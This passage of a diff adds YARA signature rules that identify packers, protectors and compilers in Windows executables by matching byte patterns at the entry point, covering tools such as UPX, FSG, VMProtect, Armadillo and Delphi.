+		$1 = {60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ?? ?? ?? 44 00 BB 10 ?? 44 00 03 DD 2B 9D}
+		$2 = {60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ?? ?? ?? 44 ?? BB 10 ?? 44 ?? 03 DD 2B 9D}
+		$3 = {90 90 90 75 ?? 90 E9}
+		$4 = {90 90 75 ?? 90 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint
+}
+rule _PseudoSigner_02_Lockless_Intro_Pack_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Lockless Intro Pack"
+	strings:
+		$0 = {2C E8 EB 1A 90 90 5D 8B C5 81 ED F6 73 90 90 2B 85 90 90 90 90 83 E8 06 89 85 FF 01 EC AD}
+	condition:
+		$0 at entrypoint
+}
+rule _PEBundle_012__Jeremy_Collake_
+{
+	meta:
+		description = "PEBundle 0.12 -> Jeremy Collake"
+	strings:
+		$0 = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 20 40 00 87 DD 6A 04 68 00 10 00 00 68 00 02 00 00 6A 00 FF 95 7F 23 40 00 0B C0 0F 84 D5 01 00 00 89 85 05 23 40 00 83 BD C3 22 40 00 01 74 0D 83 BD BF 22 40 00 01 74 2A}
+	condition:
+		$0 at entrypoint
+}
+rule _LCC_Win32_DLL_
+{
+	meta:
+		description = "LCC Win32 DLL"
+	strings:
+		$0 = {55 89 E5 53 56 57 83 7D 0C 01 75 05 E8 17 ?? ?? ?? FF 75 10 FF 75 0C FF 75 08 A1}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Studio_NET_
+{
+	meta:
+		description = "Microsoft Visual Studio .NET"
+	strings:
+		$0 = {FF 25 00 20 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _AHPack_V01__FEUERRADER_
+{
+	meta:
+		description = "AHPack V0.1 -> FEUERRADER"
+	strings:
+		$0 = {60 68 54 ?? ?? 00 B8 48 ?? ?? 00 FF 10 68 B3 ?? ?? 00 50 B8 44 ?? ?? 00 FF 10 68 00}
+	condition:
+		$0 at entrypoint
+}
+rule _WordPerfect_Graphics_format_
+{
+	meta:
+		description = "WordPerfect Graphics format"
+	strings:
+		$0 = {FF 57 50 43 10 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Crunch_40_
+{
+	meta:
+		description = "Crunch 4.0"
+	strings:
+		$0 = {EB 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 18 00 00 00 8B C5 55 60 9C 2B 85 E9 06 00 00 89 85 E1 06 00 00 FF 74 24 2C E8 BB 01 00 00 0F 82 92 05 00 00 E8 F1 03 00 00 49 0F 88 86 05 00 00 68 6C D9 B2 96 33 C0 50 E8 24}
+	condition:
+		$0 at entrypoint
+}
+rule _VMProtect246__PolyTech_
+{
+	meta:
+		description = "VMProtect2.46 -> PolyTech"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? 60 C7 ?? ?? ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 60 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _COP_10_
+{
+	meta:
+		description = "COP 1.0"
+	strings:
+		$0 = {BF E8 00 BE 1C 01 B9 18 00 AC 32 06 09 01 AA E2 F8 8B 16 18 01 EB D1 90 68 00 00 00 12 98 AD 3C 13 AC AD 3C 27 A2 B6 AD 7D 45 27 BA B4 AD 01 9D 7C 07 4E 56}
+	condition:
+		$0 at entrypoint
+}
+rule _DBPE_233_
+{
+	meta:
+		description = "DBPE 2.33"
+	strings:
+		$0 = {EB 20 ?? ?? 40 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9C 55 57 56 52 51 53 9C E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? 9C 6A 10 73 0B EB 02 C1 51 E8 06 ?? ?? ?? C4 11 73 F7 5B CD 83 C4 04 EB 02 99 EB FF 0C 24 71}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Borland_Delphi_20_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi 2.0)"
+	strings:
+		$0 = {EB 01 4D 83 F6 4C 68 80 ?? ?? 00 EB 02 CD 20 5B EB 01 23 68 48 1C 2B 3A E8 02 00 00 00 38}
+		$1 = {EB 01 56 E8 02 00 00 00 B2 D9 59 68 80 ?? 41 00 E8 02 00 00 00 65 32 59 5E EB 02 CD 20 BB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Thinstall_Embedded_V2547V2600__Jitit_
+{
+	meta:
+		description = "Thinstall Embedded V2.547-V2.600 -> Jitit"
+	strings:
+		$0 = {E8 00 00 00 00 58 BB BC 18 00 00 2B C3 50 68 ?? ?? ?? ?? 68 60 1B 00 00 68 60 00 00 00 E8 35 FF FF FF E9 99 FF FF FF 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _BJFNT_13_
+{
+	meta:
+		description = "BJFNT 1.3"
+	strings:
+		$0 = {EB 03 3A 4D 3A 1E EB 02 CD 20 9C EB 02 CD 20 EB 02 CD 20 60 EB 02 C7 05 EB 02 CD 20 E8 03 00 00 00 E9 EB 04 58 40 50 C3 EB 03 CD 20 17 EB 02 CD 20 EB 03 3A 4D 3A FC EB 02 C7 85 E8 00 00 00 00 EB 02 C7 05 EB 02 CD 20 5E EB 02 CD 20 83 C6 3F}
+	condition:
+		$0 at entrypoint
+}
+rule _VProtector_V10E__vcasm_
+{
+	meta:
+		description = "VProtector V1.0E -> vcasm"
+	strings:
+		$0 = {EB 0A 5B 56 50 72 6F 74 65 63 74 5D E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00 74 F3 75 F1 EB 24 64 FF 35 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Eagle_Protector_V22__AntiDebugLIB__20081008_
+{
+	meta:
+		description = "Eagle Protector V2.2 -> AntiDebugLIB * 20081008"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? EB 01 ?? BB 55 ?? ?? ?? E8 ?? ?? ?? ?? EB 01 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB 01 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB 01 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB 01 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB 01 ?? 83 FB 55 E8 ?? ?? ?? ?? EB 01 ?? 75 2E E8 ?? ?? ?? ?? EB 01 ?? C3 60 E8 ?? ?? ?? 00 5D 81 ED ?? ?? ?? ?? 8B D5 81 C2 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? C3 C3 E8 ?? ?? ?? ?? EB 01 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E8 ?? ?? ?? ?? EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Visual_Cpp_42_EXE__2_
+{
+	meta:
+		description = "Visual C++ 4.2 (EXE - 2)"
+	strings:
+		$0 = {64 A1 00 00 00 00 55 8B EC 6A FF 68 00 00 00 00 68 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 60 53 56 57 89 65 E8 FF 15 00 00 00 00 A3 00 00 00 00 33 C0 A0 00 00 00 00 A3 00 00 00 00 A1 00 00 00 00 C1 2D 00 00 00 00 10 25 FF 00 00 00 A3 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Pohernah_103__by_Kas_
+{
+	meta:
+		description = "Pohernah 1.0.3 - by Kas"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 2A 27 40 00 31 C0 40 83 F0 06 40 3D 40 1F 00 00 75 07 BE 6A 27 40 00 EB 02 EB EB 8B 85 9E 28 40 00 83 F8 01 75 17 31 C0 01 EE 3D 99 00 00 00 74 0C 8B 8D 86 28 40 00 30 0E 40 46 EB ED ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 56 57 4F F7 D7 21 FE 89 F0 5F 5E C3 60 83 F0 05 40 90 48 83 F0 05 89 C6 89 D7 60 E8 0B 00 00 00 61 83 C7 08 83 E9 07 E2 F1 61 C3 57 8B 1F 8B 4F 04 68 B9 79 37 9E 5A 42 89 D0 48 C1 E0 05 BF 20 00 00 00 4A 89 DD C1 E5 04 29 E9 8B 6E 08 31 DD 29 E9 89 DD C1 ED 05 31 C5 29 E9 2B 4E 0C 89 CD C1 E5 04 29 EB 8B 2E 31 CD 29 EB 89 CD C1 ED 05 31 C5 29 EB 2B 5E 04 29 D0 4F 75 C8 5F 89 1F 89 4F 04 C3}
+		$1 = {60 E8 00 00 00 00 5D 81 ED 2A 27 40 00 31 C0 40 83 F0 06 40 3D 40 1F 00 00 75 07 BE 6A 27 40 00 EB 02 EB EB 8B 85 9E 28 40 00 83 F8 01 75 17 31 C0 01 EE 3D 99 00 00 00 74 0C 8B 8D 86 28 40 00 30 0E 40 46 EB ED}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PENightMare_v13_
+{
+	meta:
+		description = "PENightMare v1.3"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D B9 ?? ?? ?? ?? 80 31 15 41 81 F9}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1336__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.3.3.6 -> Obsidium Software"
+	strings:
+		$0 = {EB 04 ?? ?? ?? ?? E8 28 00 00 00 EB 01 ?? ?? ?? ?? ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 26 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? C3 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 50 EB 01 ?? 33 C0 EB 02 ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 04 ?? ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 03 ?? ?? ?? 58 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 04}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v1xx__v2xx_
+{
+	meta:
+		description = "Armadillo v1.xx - v2.xx"
+	strings:
+		$0 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6}
+		$1 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _WATCOM_CCpp_32_RunTime_System_19881995_
+{
+	meta:
+		description = "WATCOM C/C++ 32 Run-Time System 1988-1995"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? ?? ?? ?? ?? 57 41 54 43 4F 4D 20 43 2F 43 2B 2B 33 32 20 52 75 6E 2D 54}
+	condition:
+		$0 at entrypoint
+}
+rule _PEncrypt_v10_
+{
+	meta:
+		description = "PEncrypt v1.0"
+	strings:
+		$0 = {60 9C BE 00 10 40 00 8B FE B9 28 03 00 00 BB 78 56 34 12 AD 33 C3 AB E2 FA 9D 61}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_CDCops_II_
+{
+	meta:
+		description = "PseudoSigner 0.2 [CD-Cops II"
+	strings:
+		$0 = {53 60 BD 90 90 90 90 8D 45 90 8D 5D 90 E8 00 00 00 00 8D 01}
+	condition:
+		$0 at entrypoint
+}
+rule _SimbiOZ__Russian_PacK_
+{
+	meta:
+		description = "SimbiOZ -> Russian PacK"
+	strings:
+		$0 = {50 60 E8 00 00 00 00 5D 81 ED 07 10 40 00 68 80 0B 00 00 8D 85 1F 10 40 00 50 E8 84 0B 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Visual_Protect_11_
+{
+	meta:
+		description = "Visual Protect 1.1"
+	strings:
+		$0 = {55 8B EC 51 53 56 57 83 25 6C 00 00 00 00 68 5C 00 00 00 FF 15 00 00 00 00 A3 BC 00 00 00 68 48 00 00 00 FF 35 BC 00 00 00 FF 15 04 00 00 00 A3 50 00 00 00 6A 00 FF 15 50 00 00 00 A3 A0 00 00 00 FF 35 A0 00 00 00 E8 42 04 00 00 59 89 45 FC}
+	condition:
+		$0 at entrypoint
+}
+rule _AI1_Creator_1_Beta_2__by_MZ_
+{
+	meta:
+		description = "AI1 Creator 1 Beta 2 - by MZ"
+	strings:
+		$0 = {E8 FE FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+		$1 = {E8 FE FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00}
+		$2 = {E8 FE FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+	condition:
+		$0 at entrypoint or $1 or $2
+}
+rule _PEPaCK_v10__C_Copyright_1998_by_ANAKiN_
+{
+	meta:
+		description = "PE-PaCK v1.0 -> (C) Copyright 1998 by ANAKiN"
+	strings:
+		$0 = {C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 20 2D 3D FE 20 50 45 2D 50 41 43 4B 20 76 31 2E 30 20 2D FE 2D 20 28 43 29 20 43 6F 70 79 72 69 67 68 74 20 31 39 39 38 20 62 79 20 41 4E 41 4B 69 4E 20 FE 3D 2D 20 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4}
+		$1 = {C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 20 2D 3D FE 20 50 45 2D 50 41 43 4B 20 76 31 2E 30 20 2D FE 2D 20 28 43 29 20 43 6F 70}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _RLPack_V115V116_aPlib_043__ap0x_
+{
+	meta:
+		description = "RLPack V1.15-V1.16 (aPlib 0.43) -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8 45 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__MASM32_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (MASM32)"
+	strings:
+		$0 = {EB 01 DB E8 02 00 00 00 86 43 5E 8D 1D D0 75 CF 83 C1 EE 1D 68 50 ?? 8F 83 EB 02 3D 0F 5A}
+	condition:
+		$0 at entrypoint
+}
+rule _Alloy_4x__PGWare_LLC_
+{
+	meta:
+		description = "Alloy 4.x -> PGWare LLC"
+	strings:
+		$0 = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 6A 04 68 00 10 00 00 68 00 02 00 00 6A 00 FF 95 A8 33 40 00 0B C0 0F 84 F6 01 00 00 89 85 2E 33 40 00 83 BD E8 32 40 00 01 74 0D 83 BD E4 32 40 00 01 74 2A 8B F8 EB 3E 68}
+		$1 = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 6A 04 68 00 10 00 00 68 00 02 00 00 6A 00 FF 95 A8 33 40 00 0B C0 0F 84 F6 01 00 00 89 85 2E 33 40 00 83 BD E8 32 40 00 01 74 0D 83 BD E4 32 40 00 01 74 2A 8B F8 EB 3E 68 D8 01 00 00 50 FF 95 CC 33 40 00 50 8D 85 28 33 40 00 50 FF B5 2E 33 40 00 FF 95 D0 33 40 00 58 83 C0 05 EB 0C 68 D8 01 00 00 50 FF 95 C0 33 40 00 8B BD 2E 33 40 00 03 F8 C6 07 5C 47 8D B5 00 33 40 00 AC 0A C0 74 03 AA EB F8 83 BD DC 32 40 00 01 74 7A 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 FF B5 2E 33 40 00 FF 95 B4 33 40 00 83 F8 FF 74 57 89 85 32 33 40 00 8D 85 56 33 40 00 8D 9D 5E 33 40 00 8D 8D 66 33 40 00 51 53 50 FF B5 32 33 40 00 FF 95 C4 33 40 00 FF B5 32 33 40 00 FF 95 B8 33 40 00 8B 85}
+		$2 = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 6A 04 68 00 10 00 00 68 00 02 00 00 6A 00 FF 95 A8 33 40 00 0B C0 0F 84 F6 01 00 00 89 85 2E 33 40 00 83 BD E8 32 40 00 01 74 0D 83 BD E4 32 40 00 01 74 2A 8B F8 EB 3E 68}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _PCrypt_v351_
+{
+	meta:
+		description = "PCrypt v3.51"
+	strings:
+		$0 = {50 43 52 59 50 54 FF 76 33 2E 35 31 00 E9}
+		$1 = {50 43 52 59 50 54 FF 76 33 2E 35 31 00 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPX_092__101_COM_
+{
+	meta:
+		description = "UPX 0.92 - 1.01 [COM]"
+	strings:
+		$0 = {81 FC 00 00 77 02 CD 20 B9 00 00 BE 00 00 BF 00 00 BB 00 80 FD F3 A4 FC 87 F7 83 EE C6 19 ED 57 57 E9 00 00 55 50 58 21 0B 01 04 07 00 00 00 00 00 00 00 00 00 00 00 00 06 00 FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPR_Stripper_v2x_unpacked_
+{
+	meta:
+		description = "ASPR Stripper v2.x unpacked"
+	strings:
+		$0 = {BB ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 29 ?? ?? 4E E8}
+		$1 = {BB ?? ?? ?? ?? E9 ?? ?? ?? ?? 60 9C FC BF ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 AA 9D 61 C3 55 8B EC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Microsoft_Visual_Basic_50_
+{
+	meta:
+		description = "Microsoft Visual Basic 5.0"
+	strings:
+		$0 = {FF FF FF 00 00 00 00 00 00 30 00 00 00 40 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Borland_Cue_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Borland Cue)"
+	strings:
+		$0 = {23 CA EB 02 5A 0D E8 02 00 00 00 6A 35 58 C1 C9 10 BE 80 ?? ?? 00 0F B6 C9 EB 02 CD 20 BB}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V121_Dll_aPlib_043__ap0x__20080504_
+{
+	meta:
+		description = "RLPack V1.21 Dll (aPlib 0.43) -> ap0x * 20080504"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 74 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 D6 05 00 00 EB 0C 8B 85 D2 05 00 00 89 85 D6 05 00 00 E8 4C 01 00 00 8D B5 FE 05 00 00 8D 9D 85 04 00 00 33 FF E8 77 01 00 00 EB 1B 8B 85 D6 05 00 00 FF 74 37 04 01 04 24 FF 34 37 01 04 24 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 DF 83 BD E2 05 00 00 00 74 0E 83 BD E6 05 00 00 00 74 05 E8 15 02 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 6B 05 00 00 89 85 FA 05 00 00 5B FF B5 FA 05 00 00 56 FF D3 83 C4 08 8B B5 FA 05 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD D6 05 00 00 83 C0 04 89 85 F6 05 00 00 EB 6E 56 FF 95 63 05 00 00 0B C0 75 05 E8 08 03 00 00 85 C0 0F 84 95 00 00 00 89 85 F2 05 00 00 8B C6 EB 2A 8B 85 F6 05 00 00 8B 00 50 FF B5 F2 05 00 00 E8 50 02 00 00 85 C0 74 73 89 07 83 85 F6 05 00 00 04 83 C7 04 8B 85 F6 05 00 00 83 38 00 75 D1 EB 01 46 80 3E 00 75 FA 46 83 C0 04 8B 38 03 BD D6 05 00 00 83 C0 04 89 85 F6 05 00 00 80 3E 01 75 8D 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 FA 05 00 00 FF 95 6F 05 00 00 68 ?? ?? ?? ?? 6A 00 FF B5 FA 05 00 00 FF 95 6F 05 00 00 E8 A0 00 00 00 E8 9B 01 00 00 61 E9 ?? ?? ?? ?? ?? 61 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Enigma_Protector_V11XV15X__Sukhov_Vladimir__Serge_N_Markin_
+{
+	meta:
+		description = "Enigma Protector V1.1X-V1.5X -> Sukhov Vladimir & Serge N. Markin"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 B8 00 10 40 00 E8 01 00 00 00 9A 83 C4 10 8B E5 5D E9}
+	condition:
+		$0 at entrypoint
+}
+rule _PolyCrypt_PE__214b215__JLab_Software_Creations_hoep_
+{
+	meta:
+		description = "PolyCrypt PE - 2.1.4b/2.1.5 -> JLab Software Creations (h-oep)"
+	strings:
+		$0 = {91 8B F4 AD FE C9 80 34 08 ?? E2 FA C3 60 E8 ED FF FF FF EB}
+	condition:
+		$0 at entrypoint
+}
+rule _MaskPE_V20__yzkzero_
+{
+	meta:
+		description = "MaskPE V2.0 -> yzkzero"
+	strings:
+		$0 = {B8 18 00 00 00 64 8B 18 83 C3 30 C3 40 3E 0F B6 00 C1 E0 ?? 83 C0 ?? 36 01 04 24 C3}
+		$1 = {B8 18 00 00 00 64 8B 18 83 C3 30 C3 40 3E 0F B6 00 C1 E0 ?? 83 C0 ?? 36 01 04 24 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Private_exe_Protector_V25XV26X__SetiSoft_Team___20080116_
+{
+	meta:
+		description = "Private exe Protector V2.5X-V2.6X -> SetiSoft Team  * 20080116"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 10 00 00 ?? ?? ?? ?? 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 E0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _UNITA3_tm_by_Sanitary_Equipment_Research_
+{
+	meta:
+		description = "UNITA3 (tm) by Sanitary Equipment Research"
+	strings:
+		$0 = {E8 ?? ?? 4D 5A 3E}
+	condition:
+		$0 at entrypoint
+}
+rule _Feokt_
+{
+	meta:
+		description = "Feokt"
+	strings:
+		$0 = {89 25 A8 11 40 00 BF ?? ?? ?? 00 31 C0 B9 ?? ?? ?? 00 29 F9 FC F3 AA ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8}
+		$1 = {89 25 A8 11 40 00 BF ?? ?? ?? 00 31 C0 B9 ?? ?? ?? 00 29 F9 FC F3 AA ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? 00 00 BE ?? ?? 40 00 BF}
+		$2 = {89 25 A8 11 40 00 BF ?? ?? ?? 00 31 C0 B9 ?? ?? ?? 00 29 F9 FC F3 AA ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Borland_Delphi_v60_
+{
+	meta:
+		description = "Borland Delphi v6.0"
+	strings:
+		$0 = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 C6 00 5C 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 E8}
+		$1 = {53 8B D8 33 C0 A3 ?? ?? ?? ?? 6A 00 E8 ?? ?? ?? FF A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? A3 ?? ?? ?? ?? 33 C0 A3 ?? ?? ?? ?? 33 C0 A3 ?? ?? ?? ?? E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPXHiT_v001__DJ_Siba_
+{
+	meta:
+		description = "UPX$HiT v0.0.1 -> DJ Siba"
+	strings:
+		$0 = {94 BC ?? ?? ?? 00 B9 ?? 00 00 00 80 34 0C ?? E2 FA 94 FF E0 61}
+	condition:
+		$0
+}
+rule _Gamehouse_Media_Protector_Version_Unknown_
+{
+	meta:
+		description = "Gamehouse Media Protector Version Unknown"
+	strings:
+		$0 = {68 ?? ?? ?? ?? 6A 00 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? 00 00 00 00 00 00 00 00}
+		$1 = {68 ?? ?? ?? ?? 6A 00 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Private_EXE_Protector_18__SetiSoft_
+{
+	meta:
+		description = "Private EXE Protector 1.8 -> SetiSoft"
+	strings:
+		$0 = {A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00}
